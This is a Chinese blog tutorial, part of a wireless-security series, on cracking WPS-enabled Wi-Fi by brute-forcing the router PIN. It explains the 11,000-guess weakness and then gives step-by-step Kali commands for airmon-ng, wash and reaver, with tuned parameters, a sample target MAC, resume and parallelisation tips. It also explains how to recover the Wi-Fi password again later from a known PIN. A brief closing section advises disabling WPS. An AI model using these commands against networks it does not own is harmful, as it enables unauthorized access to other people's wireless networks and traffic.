最近項目有點緊，所以本應(yīng)該上周發(fā)的文章，拖到了本周三，在此說聲抱歉。無線安全專題，我打算系統(tǒng)地寫六個部分，分別為破解篇，攻擊篇，欺騙篇，路由篇，移動篇和藍(lán)牙篇，當(dāng)然在發(fā)布的過程中，可能還會摻雜著發(fā)布flask的教程，分享我的個人博客框架。
上一篇咱們說到了破解篇的第一課：kali破解WPA,今天我們要說的是通過破解pin碼,來獲取開啟wps功能的wifi密碼。
路由器開啟wps功能后，會隨機(jī)生成一個8位的pin碼，通過暴力枚舉pin碼，達(dá)到破解的目的，尤其現(xiàn)在很多路由器默認(rèn)開啟了wps功能。大家可能會想到8位的隨機(jī)pin碼將會有100000000
種情況，這要pin到何年何月呀。。。。。。不過接下來講解一下原理，大家會發(fā)現(xiàn)其實沒多少種情況，這也是這種攻擊方式比較流行的原因。
1.pin碼破解的原理:
pin碼是由8位純數(shù)字組成的識別碼，pin碼破解是分三部分進(jìn)行的，規(guī)律是這樣的：pin碼分為三部分，如圖：
前4位為第一部分，第5-7位為第二部分，最后1位為第三部分。第一部分的驗證跟第二部分沒關(guān)聯(lián)，最后1位是根據(jù)第二部分計算得出的校驗碼。
破解一開始是先單獨對第一部分進(jìn)行pin碼匹配，也就是說先破解前4位pin碼。前4位是0000-9999總共10000個組合。
當(dāng)前4位pin碼確定后再對第二部分進(jìn)行pin碼匹配，也就是再對5-7位進(jìn)行破解，5-7位是000-999總共1000個組合。
當(dāng)前7位都確定后，最后1位也會自動得出，破解完成。
根據(jù)pin碼破解的原理，可以看到只需要枚舉11000種情況就會必然破解出pin碼，從而通過pin得到wifi密碼。
2.PIN碼爆破:
講解明白原理，接下來開始使用工具爆破pin碼，無線專題我們都是基于kali2.0的操作系統(tǒng)，無線網(wǎng)卡采用的是WN722N。
爆破pin碼的前提是路由器開啟了WPS功能，首先咱們要做的是發(fā)現(xiàn)發(fā)現(xiàn)開啟WPS功能的wifi。
將網(wǎng)卡切換到監(jiān)聽模式: airmon-ng start wlan1,
如果監(jiān)聽模式切換失敗，請看第一篇的內(nèi)容。
在命令行中輸入:wash -i wlan1,
掃描開啟wps的wifi設(shè)備。WPS Locked為No的都可以爆破試試。
找到了開啟WPS的wifi，接下來咱們就可以進(jìn)行pin碼爆破，下面主要說一下reaver工具。
reaver 命令：
reaver -i mon0 -b mac -S -v
reaver命令參數(shù):
-i 監(jiān)聽后接口名稱
-b 目標(biāo)mac地址
-a 自動檢測目標(biāo)AP最佳配置
-S 使用最小的DH key（可以提高PJ速度）
-vv 顯示更多的非嚴(yán)重警告
-d? 即delay每窮舉一次的閑置時間 預(yù)設(shè)為1秒
-t? 即timeout每次窮舉等待反饋的最長時間
-c? 指定頻道可以方便找到信號，如-c1 指定1頻道
示例：
reaver -i mon0 -b MAC -a -S –d9 –t9 -vv）
應(yīng)因狀況調(diào)整參數(shù)（-c后面都已目標(biāo)頻道為1作為例子）
目標(biāo)信號非常好: reaver -i mon0 -b MAC -a -S -vv -d0 -c 1
目標(biāo)信號普通: reaver -i mon0 -b MAC -a -S -vv -d2 -t 5 -c 1
目標(biāo)信號一般: reaver -i mon0 -b MAC -a -S -vv -d5 -c 1
選擇之前掃描出來的開啟WPS的wifi，選擇一個進(jìn)行破解。
輸入:reaver -i wlan1 -b 54:E6:FC:35:C5:82 -S -N -vv -c 4
在窮舉的過程中，reaver會生成以路由mac地址為名的wpc文件,這個文件在kali系統(tǒng)中/etc/reaver/文件夾下。
一時半會pin不出來，過段時間pin的時候命令加參數(shù) -s file.wpc，就會根據(jù)之前的進(jìn)度繼續(xù)pin。
3.注意點：
1.一般reaver 前四位默認(rèn)是從0開始，如果想從指定的數(shù)值開始爆破需要添加-p參數(shù)：-p 9000,這個意思就是從9000開始，只要不pin死路由器，可以多開幾個窗口，從不同的數(shù)值開始。
2.最后pin完最后會顯示W(wǎng)PS PIN(正確的pin碼)和WPA PSK(wifi密碼)，同時如果WPS功能沒關(guān)，pin碼沒修改，無論怎樣修改密碼，都可以通過pin碼獲取wifi密碼: reaver -i mon0 -b mac -p pin碼，來再次得到密碼
3.一般pin的過快，會把路由器pin死，所以一般還會加上-d5 -t5參數(shù)，添加5秒延時，當(dāng)然數(shù)值可以自己改。
4.防范措施：
1.WPS功能對個人基本上沒啥作用，還是關(guān)了吧。
2.現(xiàn)在的路由一般會有防pin措施，例如會有300秒pin限制，但這個是偽防pin,作用不是很大。它設(shè)置時間間隔，正好防止我們把路由器pin死。所以還是把WPS功能關(guān)了，不要過分相信防pin措施，畢竟只有11000種情況，早晚會破解。
今天的分享就到這里，下一篇繼續(xù)分析。如果大家覺得還可以呀，記得推薦呦。
文／qiye（簡書作者）
原文鏈接：http://www.itdecent.cn/p/a8439e777af7
著作權(quán)歸作者所有，轉(zhuǎn)載請聯(lián)系作者獲得授權(quán)，并標(biāo)注“簡書作者”。
